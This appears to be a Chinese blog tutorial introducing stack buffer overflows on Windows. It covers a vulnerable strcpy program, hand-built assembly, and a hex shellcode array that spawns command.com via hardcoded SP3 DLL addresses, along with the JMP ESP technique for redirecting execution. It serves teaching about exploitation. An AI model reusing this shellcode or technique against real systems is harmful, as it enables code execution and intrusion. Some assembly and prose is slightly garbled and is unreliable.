缓冲区溢出初探

缓冲区溢出英文叫做buffer overflow,操作系统有吧缓冲区叫做堆栈,各个进程会把数据放到各自的堆栈里面,亦可以叫做堆栈溢出,缓冲区溢出是一种很牛逼的漏洞,市面50%以上的漏洞今本都是缓冲区溢出漏洞,微软发布的补丁包一大部分也是为了这货。

缓冲区溢出作为攻击手段,可以造成程序崩溃的拒绝访问攻击,但很大一部分是用来取得shell。

在说缓冲区溢出前先普及一下专业知识

中断:

在程序执行过程中,由于某个特殊情况(称之为事件)的发生,使得CPU终止当前程序,而去执行该事件(称为事件处理或者终端服务程序),执行完后还原堆栈后继续执行源程序的下一行。一般用 INT n 来调用中断表中的程序,或者用call 目标地址 调用子程序,来产生中断。调用中断前,参数先入栈,还原环境用ret 指令。


堆栈:

先进后出后进先出,是人都明白,不多说了。


寄存器,汇编指令:

EIP指向下一条要执行的指令,ESP(stack pointer)栈顶指针,可以读取数据,EBP(base pointer)栈底指针。

ret执行过程是(IP)=((SS)*16+SP)     (SP)=(SP)+2; 就是从堆栈中还原EIP,之后栈顶指针下移。

PUSH POP 入栈出栈指令。


下面来分析一个简单程序

#include <stdio.h>
#include <stdlib.h>

char name[] = "abcdefghijklmnopqrst";
int main()
{
    char output[8];
    int i;
    strcpy(output,name);
}
根据下图,因为strcpy这个函数不会检查目标字符串容量(c是极度相信编程者的语言,很少有各种语法检查,可以写出很多很神的代码,也很容易犯错)

正常情况左图,堆栈溢出的情况如右图内存只为output分配了8个char的空间,但是name所包含的内容太多了。把EBP和EIP都给覆盖了,注意

虚线以上是本程序所分配的堆栈,在程序结束时调用RET还原EIP,结果EIP已经被覆盖了,变成了PONM,CPU就会执行地址为PONM的指令,结果发现该地址根本不能

访问,就报错了。

注意因为是程序结束时报错,也就是RET指令执行后,产生的错误,这时的的权限为ROOT权限。

根据堆栈平衡原理,pop push一定是对等的,程序结束时,EBP一定停留在栈底,POP EIP后 EBP会继续下移(这在定位ShellCode色时候会用到)。

缓冲区溢出初探_第1张图片


生成ShellCode:

为了达成我们不可告人的目的,我们需要先把一段我们想执行的代码的地址放入内存,EIP覆盖成该代码的地址。

这代码一般就是ShellCode,类似于命令行。

c语言下打开一个命令行的函数如下,当然不能直接往内存里考,内存只认识机器码。

下面的代码看起来简单,但是编译器帮我们做了很多的工作,实际上远没有这么简单。

#include<windows.h>

int main()
{
LoadLibrary(“msvcrt.dll”);
system(“command.com”);

return 0;
}
那么我们可以写的再复杂一点

稍微解释一下,

 定义函数指针这里LPTSTR 代表 LP(Long Pointer) T (是否采用Unicode编码,源于win32环境中的_T宏)  STR(String)

微软弄得恶心东西,直接理解成char*就可以。等会用它来调用system函数。

LibHander这句是获取动态链接库的句柄。

之后通过GetProcAddress获得system函数的真实地址,并把它赋给函数指针。”msvcrt.dll“是长时间存在于内存中的。(真实地址这个东西在溢出中非常重要)

#include <windows.h>
#include <winbase.h> 

typedef void (*MYPROC)(LPTSTR);        //定义函数指针

int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址
(ProcAdd) ("command.com");          //其实就是执行system(“command.com”)

return 0;
}
这里补充一下window程序的函数调用过程,在吧参数依次入栈之后PUSH EIP,Jmp Func(函数地址)

缓冲区溢出初探_第2张图片

先把system(command.com) 按照上述套路转换为汇编,因为push指令为一次压入4字节所以不能直接push。

lea ecx,[eax+0x30] 等于

move ecx,0x30 

add ecx,eax

mov esp,ebp ; 
push ebp ;      
mov ebp,esp ;                      把当前esp赋给ebp 
xor edi,edi ;
push edi ;压入0,esp-4,;   作用是构造字符串的结尾\0字符。 
sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。 
mov byte ptr [ebp-0ch],63h ;  c
mov byte ptr [ebp-0bh],6fh ;  o
mov byte ptr [ebp-0ah],6dh ;  m
mov byte ptr [ebp-09h],6Dh ;  m
mov byte ptr [ebp-08h],61h ;  a
mov byte ptr [ebp-07h],6eh ;  n
mov byte ptr [ebp-06h],64h ;  d
mov byte ptr [ebp-05h],2Eh ;  .
mov byte ptr [ebp-04h],63h ;  c
mov byte ptr [ebp-03h],6fh ;  o
mov byte ptr [ebp-02h],6dh ;  m一个一个生成串"command.com".
lea eax,[ebp-0ch] ;                
push eax ;                            command.com串地址作为参数入栈
mov eax, 0x7801AFC3 ;
call eax ;                              call system函数的地址

按图索骥,把其他的函数也转换为这种形式的汇编,再转换为机器码,就得到了可执行的ShellCode了

类似于这样(因为windows版本不同dll在内存中存放的位置也有所不同,所以这样生成的shellcode不具有通用性)

unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77"        //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"       
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" 
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc3\xaf\x01\x78"        //sp3 system地址0x7801afc3
"\xFF\xD0";

最后一步是定位ShellCode

这一步前辈们也想出了一个比较牛逼的办法,利用内存中JMP ESP 的地址是固定的这一原理来定位ShellCode(因为jmp esp在系统核心DLL中)


先用JMP ESP的地址覆盖原 EIP地址(每个系统的JMP ESP地址有所不同)

缓冲区溢出初探_第3张图片

程序执行完后执行RET 也就是POP EIP,之后ESP下移,EIP所指指令变成JMP ESP

缓冲区溢出初探_第4张图片

POP之后ESP下移一位,正好指向ShellCode

缓冲区溢出初探_第5张图片

构造出的ShellCode应该是这样的。

缓冲区溢出初探_第6张图片

你可能感兴趣的:(汇编,System,dll,byte,编译器,output)